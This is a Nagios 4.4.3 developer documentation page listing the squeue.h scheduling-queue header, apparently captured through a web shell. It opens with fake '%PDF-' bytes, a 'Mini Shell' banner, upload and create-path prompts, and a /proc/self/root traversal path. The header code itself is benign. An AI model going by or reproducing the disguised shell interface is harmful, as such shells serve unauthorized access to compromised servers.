%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/self/root/usr/share/nagios/html/docs/
Upload File :
Create Path :
Current File : //proc/self/root/proc/self/root/usr/share/nagios/html/docs/squeue_8h_source.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.5"/>
<title>Nagios: squeue.h Source File</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
  $(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
 <tbody>
 <tr style="height: 56px;">
  <td style="padding-left: 0.5em;">
   <div id="projectname">Nagios
   &#160;<span id="projectnumber">4.4.3</span>
   </div>
   <div id="projectbrief">Dev docs for Nagios core and neb-module hackers</div>
  </td>
 </tr>
 </tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.5 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
  <div id="navrow1" class="tabs">
    <ul class="tablist">
      <li><a href="index.html"><span>Main&#160;Page</span></a></li>
      <li><a href="pages.html"><span>Related&#160;Pages</span></a></li>
      <li><a href="annotated.html"><span>Data&#160;Structures</span></a></li>
      <li class="current"><a href="files.html"><span>Files</span></a></li>
      <li>
        <div id="MSearchBox" class="MSearchBoxInactive">
        <span class="left">
          <img id="MSearchSelect" src="search/mag_sel.png"
               onmouseover="return searchBox.OnSearchSelectShow()"
               onmouseout="return searchBox.OnSearchSelectHide()"
               alt=""/>
          <input type="text" id="MSearchField" value="Search" accesskey="S"
               onfocus="searchBox.OnSearchFieldFocus(true)" 
               onblur="searchBox.OnSearchFieldFocus(false)" 
               onkeyup="searchBox.OnSearchFieldChange(event)"/>
          </span><span class="right">
            <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
          </span>
        </div>
      </li>
    </ul>
  </div>
  <div id="navrow2" class="tabs2">
    <ul class="tablist">
      <li><a href="files.html"><span>File&#160;List</span></a></li>
      <li><a href="globals.html"><span>Globals</span></a></li>
    </ul>
  </div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
     onmouseover="return searchBox.OnSearchSelectShow()"
     onmouseout="return searchBox.OnSearchSelectHide()"
     onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Macros</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Pages</a></div>

<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0" 
        name="MSearchResults" id="MSearchResults">
</iframe>
</div>

<div id="nav-path" class="navpath">
  <ul>
<li class="navelem"><a class="el" href="dir_97aefd0d527b934f1d99a682da8fe6a9.html">lib</a></li>  </ul>
</div>
</div><!-- top -->
<div class="header">
  <div class="headertitle">
<div class="title">squeue.h</div>  </div>
</div><!--header-->
<div class="contents">
<a href="squeue_8h.html">Go to the documentation of this file.</a><div class="fragment"><div class="line"><a name="l00001"></a><span class="lineno">    1</span>&#160;<span class="preprocessor">#ifndef LIBNAGIOS_SQUEUE_H_INCLUDED</span></div>
<div class="line"><a name="l00002"></a><span class="lineno">    2</span>&#160;<span class="preprocessor"></span><span class="preprocessor">#define LIBNAGIOS_SQUEUE_H_INCLUDED</span></div>
<div class="line"><a name="l00003"></a><span class="lineno">    3</span>&#160;<span class="preprocessor"></span><span class="preprocessor">#include &lt;sys/time.h&gt;</span></div>
<div class="line"><a name="l00004"></a><span class="lineno">    4</span>&#160;<span class="preprocessor">#include &lt;time.h&gt;</span></div>
<div class="line"><a name="l00005"></a><span class="lineno">    5</span>&#160;<span class="preprocessor">#include &quot;<a class="code" href="pqueue_8h.html">pqueue.h</a>&quot;</span><span class="comment"></span></div>
<div class="line"><a name="l00006"></a><span class="lineno">    6</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00007"></a><span class="lineno">    7</span>&#160;<span class="comment"> * @file squeue.h</span></div>
<div class="line"><a name="l00008"></a><span class="lineno">    8</span>&#160;<span class="comment"> * @brief Scheduling queue function declarations</span></div>
<div class="line"><a name="l00009"></a><span class="lineno">    9</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00010"></a><span class="lineno">   10</span>&#160;<span class="comment"> * This library is based on the pqueue api, which implements a</span></div>
<div class="line"><a name="l00011"></a><span class="lineno">   11</span>&#160;<span class="comment"> * priority queue based on a binary heap, providing O(lg n) times</span></div>
<div class="line"><a name="l00012"></a><span class="lineno">   12</span>&#160;<span class="comment"> * for insert() and remove(), and O(1) time for peek().</span></div>
<div class="line"><a name="l00013"></a><span class="lineno">   13</span>&#160;<span class="comment"> * @note There is no &quot;find&quot;. Callers must maintain pointers to their</span></div>
<div class="line"><a name="l00014"></a><span class="lineno">   14</span>&#160;<span class="comment"> * scheduled events if they wish to be able to remove them.</span></div>
<div class="line"><a name="l00015"></a><span class="lineno">   15</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00016"></a><span class="lineno">   16</span>&#160;<span class="comment"> * @{</span></div>
<div class="line"><a name="l00017"></a><span class="lineno">   17</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00018"></a><span class="lineno">   18</span>&#160;</div>
<div class="line"><a name="l00019"></a><span class="lineno">   19</span>&#160;<span class="comment">/*</span></div>
<div class="line"><a name="l00020"></a><span class="lineno">   20</span>&#160;<span class="comment"> * All opaque types here.</span></div>
<div class="line"><a name="l00021"></a><span class="lineno">   21</span>&#160;<span class="comment"> * The pqueue library can be useful on its own though, so we</span></div>
<div class="line"><a name="l00022"></a><span class="lineno">   22</span>&#160;<span class="comment"> * don&#39;t block that from user view.</span></div>
<div class="line"><a name="l00023"></a><span class="lineno">   23</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00024"></a><span class="lineno">   24</span>&#160;<span class="keyword">typedef</span> <a class="code" href="structpqueue__t.html">pqueue_t</a> <a class="code" href="structpqueue__t.html">squeue_t</a>;</div>
<div class="line"><a name="l00025"></a><span class="lineno">   25</span>&#160;<span class="keyword">struct </span>squeue_event;</div>
<div class="line"><a name="l00026"></a><span class="lineno">   26</span>&#160;<span class="keyword">typedef</span> <span class="keyword">struct </span>squeue_event squeue_event;</div>
<div class="line"><a name="l00027"></a><span class="lineno">   27</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00028"></a><span class="lineno">   28</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00029"></a><span class="lineno">   29</span>&#160;<span class="comment"> * Options for squeue_destroy()&#39;s flag parameter</span></div>
<div class="line"><a name="l00030"></a><span class="lineno">   30</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00031"></a><span class="lineno"><a class="line" href="squeue_8h.html#ac28bd57977dc5085282f046a2b44b845">   31</a></span>&#160;<span class="preprocessor">#define SQUEUE_FREE_DATA (1 &lt;&lt; 0) </span><span class="comment">/** Call free() on all data pointers */</span><span class="preprocessor"></span></div>
<div class="line"><a name="l00032"></a><span class="lineno">   32</span>&#160;<span class="preprocessor"></span><span class="comment"></span></div>
<div class="line"><a name="l00033"></a><span class="lineno">   33</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00034"></a><span class="lineno">   34</span>&#160;<span class="comment"> * Get the scheduled runtime of this event</span></div>
<div class="line"><a name="l00035"></a><span class="lineno">   35</span>&#160;<span class="comment"> * @param[in] evt The event to get runtime of</span></div>
<div class="line"><a name="l00036"></a><span class="lineno">   36</span>&#160;<span class="comment"> * @return struct timeval on success, NULL on errors</span></div>
<div class="line"><a name="l00037"></a><span class="lineno">   37</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00038"></a><span class="lineno">   38</span>&#160;<span class="keyword">extern</span> <span class="keyword">const</span> <span class="keyword">struct </span>timeval *<a class="code" href="squeue_8h.html#a943d1b7cd0ed4ac2e9b2691ef7b6ff72">squeue_event_runtime</a>(squeue_event *evt);</div>
<div class="line"><a name="l00039"></a><span class="lineno">   39</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00040"></a><span class="lineno">   40</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00041"></a><span class="lineno">   41</span>&#160;<span class="comment"> * Get data of an squeue_event struct</span></div>
<div class="line"><a name="l00042"></a><span class="lineno">   42</span>&#160;<span class="comment"> * @param[in] evt The event to operate on</span></div>
<div class="line"><a name="l00043"></a><span class="lineno">   43</span>&#160;<span class="comment"> * @return The data object pointed to by the event</span></div>
<div class="line"><a name="l00044"></a><span class="lineno">   44</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00045"></a><span class="lineno">   45</span>&#160;<span class="keyword">extern</span> <span class="keywordtype">void</span> *<a class="code" href="squeue_8h.html#ac39f0c791fd125c677a18590d158e033">squeue_event_data</a>(squeue_event *evt);</div>
<div class="line"><a name="l00046"></a><span class="lineno">   46</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00047"></a><span class="lineno">   47</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00048"></a><span class="lineno">   48</span>&#160;<span class="comment"> * Creates a scheduling queue optimized for handling events within</span></div>
<div class="line"><a name="l00049"></a><span class="lineno">   49</span>&#160;<span class="comment"> * the given timeframe. Callers should take care to create a queue</span></div>
<div class="line"><a name="l00050"></a><span class="lineno">   50</span>&#160;<span class="comment"> * of a decent but not overly large size, as too small or too large</span></div>
<div class="line"><a name="l00051"></a><span class="lineno">   51</span>&#160;<span class="comment"> * a queue will impact performance negatively. A queue can hold any</span></div>
<div class="line"><a name="l00052"></a><span class="lineno">   52</span>&#160;<span class="comment"> * number of events. A good value for &quot;horizon&quot; would be the max</span></div>
<div class="line"><a name="l00053"></a><span class="lineno">   53</span>&#160;<span class="comment"> * seconds into the future one expects to schedule things, although</span></div>
<div class="line"><a name="l00054"></a><span class="lineno">   54</span>&#160;<span class="comment"> * with few scheduled items in that timeframe you&#39;d be better off</span></div>
<div class="line"><a name="l00055"></a><span class="lineno">   55</span>&#160;<span class="comment"> * using a more narrow horizon.</span></div>
<div class="line"><a name="l00056"></a><span class="lineno">   56</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00057"></a><span class="lineno">   57</span>&#160;<span class="comment"> * @param size Hint about how large this queue will get</span></div>
<div class="line"><a name="l00058"></a><span class="lineno">   58</span>&#160;<span class="comment"> * @return A pointer to a scheduling queue</span></div>
<div class="line"><a name="l00059"></a><span class="lineno">   59</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00060"></a><span class="lineno">   60</span>&#160;<span class="keyword">extern</span> <a class="code" href="structpqueue__t.html">squeue_t</a> *<a class="code" href="squeue_8h.html#a42409351d1a75662f0a3dd9ba1ee6622">squeue_create</a>(<span class="keywordtype">unsigned</span> <span class="keywordtype">int</span> size);</div>
<div class="line"><a name="l00061"></a><span class="lineno">   61</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00062"></a><span class="lineno">   62</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00063"></a><span class="lineno">   63</span>&#160;<span class="comment"> * Destroys a scheduling queue completely</span></div>
<div class="line"><a name="l00064"></a><span class="lineno">   64</span>&#160;<span class="comment"> * @param[in] q The doomed queue</span></div>
<div class="line"><a name="l00065"></a><span class="lineno">   65</span>&#160;<span class="comment"> * @param[in] flags Flags determining the the level of destruction</span></div>
<div class="line"><a name="l00066"></a><span class="lineno">   66</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00067"></a><span class="lineno">   67</span>&#160;<span class="keyword">extern</span> <span class="keywordtype">void</span> <a class="code" href="squeue_8h.html#a8dfd33fdc99ab4a5008b90ba377ad1f5">squeue_destroy</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q, <span class="keywordtype">int</span> flags);</div>
<div class="line"><a name="l00068"></a><span class="lineno">   68</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00069"></a><span class="lineno">   69</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00070"></a><span class="lineno">   70</span>&#160;<span class="comment"> * Enqueue an event with microsecond precision.</span></div>
<div class="line"><a name="l00071"></a><span class="lineno">   71</span>&#160;<span class="comment"> * It&#39;s up to the caller to keep the event pointer in case he/she</span></div>
<div class="line"><a name="l00072"></a><span class="lineno">   72</span>&#160;<span class="comment"> * wants to remove the event from the queue later.</span></div>
<div class="line"><a name="l00073"></a><span class="lineno">   73</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00074"></a><span class="lineno">   74</span>&#160;<span class="comment"> * @param q The scheduling queue to add to</span></div>
<div class="line"><a name="l00075"></a><span class="lineno">   75</span>&#160;<span class="comment"> * @param tv When this event should occur</span></div>
<div class="line"><a name="l00076"></a><span class="lineno">   76</span>&#160;<span class="comment"> * @param data Pointer to any kind of data</span></div>
<div class="line"><a name="l00077"></a><span class="lineno">   77</span>&#160;<span class="comment"> * @return The complete scheduled event</span></div>
<div class="line"><a name="l00078"></a><span class="lineno">   78</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00079"></a><span class="lineno">   79</span>&#160;<span class="keyword">extern</span> squeue_event *<a class="code" href="squeue_8h.html#ac87233f11bb78fdfc606559435597bb8">squeue_add_tv</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q, <span class="keyword">struct</span> timeval *tv, <span class="keywordtype">void</span> *data);</div>
<div class="line"><a name="l00080"></a><span class="lineno">   80</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00081"></a><span class="lineno">   81</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00082"></a><span class="lineno">   82</span>&#160;<span class="comment"> * Adds an event to the scheduling queue.</span></div>
<div class="line"><a name="l00083"></a><span class="lineno">   83</span>&#160;<span class="comment"> * See notes for squeue_add_tv() for details</span></div>
<div class="line"><a name="l00084"></a><span class="lineno">   84</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00085"></a><span class="lineno">   85</span>&#160;<span class="comment"> * @param q The scheduling queue to add to</span></div>
<div class="line"><a name="l00086"></a><span class="lineno">   86</span>&#160;<span class="comment"> * @param when The unix timestamp when this event is to occur</span></div>
<div class="line"><a name="l00087"></a><span class="lineno">   87</span>&#160;<span class="comment"> * @param data Pointer to any kind of data</span></div>
<div class="line"><a name="l00088"></a><span class="lineno">   88</span>&#160;<span class="comment"> * @return The complete scheduled event</span></div>
<div class="line"><a name="l00089"></a><span class="lineno">   89</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00090"></a><span class="lineno">   90</span>&#160;<span class="keyword">extern</span> squeue_event *<a class="code" href="squeue_8h.html#a5cefe0f89f4550d27b3b7e72a49ff3f9">squeue_add</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q, time_t when, <span class="keywordtype">void</span> *data);</div>
<div class="line"><a name="l00091"></a><span class="lineno">   91</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00092"></a><span class="lineno">   92</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00093"></a><span class="lineno">   93</span>&#160;<span class="comment"> * Adds an event to the scheduling queue with millisecond precision</span></div>
<div class="line"><a name="l00094"></a><span class="lineno">   94</span>&#160;<span class="comment"> * See notes on squeue_add_tv() for details</span></div>
<div class="line"><a name="l00095"></a><span class="lineno">   95</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00096"></a><span class="lineno">   96</span>&#160;<span class="comment"> * @param[in] q The scheduling queue to add to</span></div>
<div class="line"><a name="l00097"></a><span class="lineno">   97</span>&#160;<span class="comment"> * @param[in] when Unix timestamp when this event should occur</span></div>
<div class="line"><a name="l00098"></a><span class="lineno">   98</span>&#160;<span class="comment"> * @param[in] usec Millisecond of above this event should occur</span></div>
<div class="line"><a name="l00099"></a><span class="lineno">   99</span>&#160;<span class="comment"> * @param[in] data Pointer to any kind of data</span></div>
<div class="line"><a name="l00100"></a><span class="lineno">  100</span>&#160;<span class="comment"> * @return NULL on errors. squeue_event pointer on success</span></div>
<div class="line"><a name="l00101"></a><span class="lineno">  101</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00102"></a><span class="lineno">  102</span>&#160;<span class="keyword">extern</span> squeue_event *<a class="code" href="squeue_8h.html#a2a6b4f97bff4c22a00117e976c75dba0">squeue_add_usec</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q, time_t when, time_t usec, <span class="keywordtype">void</span> *data);</div>
<div class="line"><a name="l00103"></a><span class="lineno">  103</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00104"></a><span class="lineno">  104</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00105"></a><span class="lineno">  105</span>&#160;<span class="comment"> * Adds an event to the scheduling queue with millisecond precision</span></div>
<div class="line"><a name="l00106"></a><span class="lineno">  106</span>&#160;<span class="comment"> * See notes on squeue_add_tv() for details</span></div>
<div class="line"><a name="l00107"></a><span class="lineno">  107</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00108"></a><span class="lineno">  108</span>&#160;<span class="comment"> * @param[in] q The scheduling queue to add to</span></div>
<div class="line"><a name="l00109"></a><span class="lineno">  109</span>&#160;<span class="comment"> * @param[in] when Unix timestamp when this event should occur</span></div>
<div class="line"><a name="l00110"></a><span class="lineno">  110</span>&#160;<span class="comment"> * @param[in] msec Millisecond of above this event should occur</span></div>
<div class="line"><a name="l00111"></a><span class="lineno">  111</span>&#160;<span class="comment"> * @param[in] data Pointer to any kind of data</span></div>
<div class="line"><a name="l00112"></a><span class="lineno">  112</span>&#160;<span class="comment"> * @return NULL on errors. squeue_event pointer on success</span></div>
<div class="line"><a name="l00113"></a><span class="lineno">  113</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00114"></a><span class="lineno">  114</span>&#160;<span class="keyword">extern</span> squeue_event *<a class="code" href="squeue_8h.html#a916fbcfd3d3eda39b4f643a5b2368eca">squeue_add_msec</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q, time_t when, time_t msec, <span class="keywordtype">void</span> *data);</div>
<div class="line"><a name="l00115"></a><span class="lineno">  115</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00116"></a><span class="lineno">  116</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00117"></a><span class="lineno">  117</span>&#160;<span class="comment"> * Change an event&#39;s priority to a new time.</span></div>
<div class="line"><a name="l00118"></a><span class="lineno">  118</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00119"></a><span class="lineno">  119</span>&#160;<span class="comment"> * @param q The scheduling queue holding the event.</span></div>
<div class="line"><a name="l00120"></a><span class="lineno">  120</span>&#160;<span class="comment"> * @param evt The event to reschedule.</span></div>
<div class="line"><a name="l00121"></a><span class="lineno">  121</span>&#160;<span class="comment"> * @param tv When the event should be rescheduled to.</span></div>
<div class="line"><a name="l00122"></a><span class="lineno">  122</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00123"></a><span class="lineno">  123</span>&#160;<span class="keyword">extern</span> <span class="keywordtype">void</span> <a class="code" href="squeue_8h.html#a61a20563cf66ffcf704b4ce8e99a0f94">squeue_change_priority_tv</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q, squeue_event *evt, <span class="keyword">struct</span> timeval *tv);</div>
<div class="line"><a name="l00124"></a><span class="lineno">  124</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00125"></a><span class="lineno">  125</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00126"></a><span class="lineno">  126</span>&#160;<span class="comment"> * Returns the data of the next scheduled event from the scheduling</span></div>
<div class="line"><a name="l00127"></a><span class="lineno">  127</span>&#160;<span class="comment"> * queue without removing it from the queue.</span></div>
<div class="line"><a name="l00128"></a><span class="lineno">  128</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00129"></a><span class="lineno">  129</span>&#160;<span class="comment"> * @param q The scheduling queue to peek into</span></div>
<div class="line"><a name="l00130"></a><span class="lineno">  130</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00131"></a><span class="lineno">  131</span>&#160;<span class="keyword">extern</span> <span class="keywordtype">void</span> *<a class="code" href="squeue_8h.html#afa73c23393d49cf0f9e38a286af44176">squeue_peek</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q);</div>
<div class="line"><a name="l00132"></a><span class="lineno">  132</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00133"></a><span class="lineno">  133</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00134"></a><span class="lineno">  134</span>&#160;<span class="comment"> * Pops the next scheduled event from the scheduling queue and</span></div>
<div class="line"><a name="l00135"></a><span class="lineno">  135</span>&#160;<span class="comment"> * returns the data for it.</span></div>
<div class="line"><a name="l00136"></a><span class="lineno">  136</span>&#160;<span class="comment"> * This is equivalent to squeue_peek() + squeue_pop()</span></div>
<div class="line"><a name="l00137"></a><span class="lineno">  137</span>&#160;<span class="comment"> * @note This causes the squeue_event to be free()&#39;d.</span></div>
<div class="line"><a name="l00138"></a><span class="lineno">  138</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00139"></a><span class="lineno">  139</span>&#160;<span class="comment"> * @param q The scheduling queue to pop from</span></div>
<div class="line"><a name="l00140"></a><span class="lineno">  140</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00141"></a><span class="lineno">  141</span>&#160;<span class="keyword">extern</span> <span class="keywordtype">void</span> *<a class="code" href="squeue_8h.html#aba66f0428786d416b3cc609ff4ef90a0">squeue_pop</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q);</div>
<div class="line"><a name="l00142"></a><span class="lineno">  142</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00143"></a><span class="lineno">  143</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00144"></a><span class="lineno">  144</span>&#160;<span class="comment"> * Removes the given event from the scheduling queue</span></div>
<div class="line"><a name="l00145"></a><span class="lineno">  145</span>&#160;<span class="comment"> * @note This causes the associated squeue_event() to be free()&#39;d.</span></div>
<div class="line"><a name="l00146"></a><span class="lineno">  146</span>&#160;<span class="comment"> * @param[in] q The scheduling queue to remove from</span></div>
<div class="line"><a name="l00147"></a><span class="lineno">  147</span>&#160;<span class="comment"> * @param[in] evt The event to remove</span></div>
<div class="line"><a name="l00148"></a><span class="lineno">  148</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00149"></a><span class="lineno">  149</span>&#160;<span class="keyword">extern</span> <span class="keywordtype">int</span> <a class="code" href="squeue_8h.html#a2500eec0813f5cdd854e472509ec86d3">squeue_remove</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q, squeue_event *evt);</div>
<div class="line"><a name="l00150"></a><span class="lineno">  150</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00151"></a><span class="lineno">  151</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00152"></a><span class="lineno">  152</span>&#160;<span class="comment"> * Returns the number of events in the scheduling queue. This</span></div>
<div class="line"><a name="l00153"></a><span class="lineno">  153</span>&#160;<span class="comment"> * function never fails.</span></div>
<div class="line"><a name="l00154"></a><span class="lineno">  154</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00155"></a><span class="lineno">  155</span>&#160;<span class="comment"> * @param[in] q The scheduling queue to inspect</span></div>
<div class="line"><a name="l00156"></a><span class="lineno">  156</span>&#160;<span class="comment"> * @return number of events in the inspected queue</span></div>
<div class="line"><a name="l00157"></a><span class="lineno">  157</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00158"></a><span class="lineno">  158</span>&#160;<span class="keyword">extern</span> <span class="keywordtype">unsigned</span> <span class="keywordtype">int</span> <a class="code" href="squeue_8h.html#aba306724eece998c56f5b22c1c628ef4">squeue_size</a>(<a class="code" href="structpqueue__t.html">squeue_t</a> *q);</div>
<div class="line"><a name="l00159"></a><span class="lineno">  159</span>&#160;</div>
<div class="line"><a name="l00160"></a><span class="lineno">  160</span>&#160;<span class="comment"></span></div>
<div class="line"><a name="l00161"></a><span class="lineno">  161</span>&#160;<span class="comment">/**</span></div>
<div class="line"><a name="l00162"></a><span class="lineno">  162</span>&#160;<span class="comment"> * Returns true if passed timeval is after the time for the event</span></div>
<div class="line"><a name="l00163"></a><span class="lineno">  163</span>&#160;<span class="comment"> *</span></div>
<div class="line"><a name="l00164"></a><span class="lineno">  164</span>&#160;<span class="comment"> * @param[in] evt The queue event to inspect</span></div>
<div class="line"><a name="l00165"></a><span class="lineno">  165</span>&#160;<span class="comment"> * @param[in] reftime The reference time to compare to the queue event time</span></div>
<div class="line"><a name="l00166"></a><span class="lineno">  166</span>&#160;<span class="comment"> * @return 1 if reftime &gt; event time, 0 otherwise</span></div>
<div class="line"><a name="l00167"></a><span class="lineno">  167</span>&#160;<span class="comment"> */</span></div>
<div class="line"><a name="l00168"></a><span class="lineno">  168</span>&#160;<span class="keyword">extern</span> <span class="keywordtype">int</span> <a class="code" href="squeue_8h.html#a7da35a0b70389e01ef10e34500321fc6">squeue_evt_when_is_after</a>(squeue_event *evt, <span class="keyword">struct</span> timeval *reftime);</div>
<div class="line"><a name="l00169"></a><span class="lineno">  169</span>&#160;<span class="preprocessor">#endif</span></div>
<div class="line"><a name="l00170"></a><span class="lineno">  170</span>&#160;<span class="preprocessor"></span><span class="comment">/** @} */</span></div>
<div class="ttc" id="squeue_8h_html_afa73c23393d49cf0f9e38a286af44176"><div class="ttname"><a href="squeue_8h.html#afa73c23393d49cf0f9e38a286af44176">squeue_peek</a></div><div class="ttdeci">void * squeue_peek(squeue_t *q)</div><div class="ttdoc">Returns the data of the next scheduled event from the scheduling queue without removing it from the q...</div></div>
<div class="ttc" id="squeue_8h_html_a61a20563cf66ffcf704b4ce8e99a0f94"><div class="ttname"><a href="squeue_8h.html#a61a20563cf66ffcf704b4ce8e99a0f94">squeue_change_priority_tv</a></div><div class="ttdeci">void squeue_change_priority_tv(squeue_t *q, squeue_event *evt, struct timeval *tv)</div><div class="ttdoc">Change an event&amp;#39;s priority to a new time. </div></div>
<div class="ttc" id="squeue_8h_html_a2500eec0813f5cdd854e472509ec86d3"><div class="ttname"><a href="squeue_8h.html#a2500eec0813f5cdd854e472509ec86d3">squeue_remove</a></div><div class="ttdeci">int squeue_remove(squeue_t *q, squeue_event *evt)</div><div class="ttdoc">Removes the given event from the scheduling queue. </div></div>
<div class="ttc" id="squeue_8h_html_a916fbcfd3d3eda39b4f643a5b2368eca"><div class="ttname"><a href="squeue_8h.html#a916fbcfd3d3eda39b4f643a5b2368eca">squeue_add_msec</a></div><div class="ttdeci">squeue_event * squeue_add_msec(squeue_t *q, time_t when, time_t msec, void *data)</div><div class="ttdoc">Adds an event to the scheduling queue with millisecond precision See notes on squeue_add_tv() for det...</div></div>
<div class="ttc" id="squeue_8h_html_ac87233f11bb78fdfc606559435597bb8"><div class="ttname"><a href="squeue_8h.html#ac87233f11bb78fdfc606559435597bb8">squeue_add_tv</a></div><div class="ttdeci">squeue_event * squeue_add_tv(squeue_t *q, struct timeval *tv, void *data)</div><div class="ttdoc">Enqueue an event with microsecond precision. </div></div>
<div class="ttc" id="structpqueue__t_html"><div class="ttname"><a href="structpqueue__t.html">pqueue_t</a></div><div class="ttdoc">the priority queue handle </div><div class="ttdef"><b>Definition:</b> pqueue.h:55</div></div>
<div class="ttc" id="squeue_8h_html_aba306724eece998c56f5b22c1c628ef4"><div class="ttname"><a href="squeue_8h.html#aba306724eece998c56f5b22c1c628ef4">squeue_size</a></div><div class="ttdeci">unsigned int squeue_size(squeue_t *q)</div><div class="ttdoc">Returns the number of events in the scheduling queue. </div></div>
<div class="ttc" id="squeue_8h_html_a42409351d1a75662f0a3dd9ba1ee6622"><div class="ttname"><a href="squeue_8h.html#a42409351d1a75662f0a3dd9ba1ee6622">squeue_create</a></div><div class="ttdeci">squeue_t * squeue_create(unsigned int size)</div><div class="ttdoc">Creates a scheduling queue optimized for handling events within the given timeframe. </div></div>
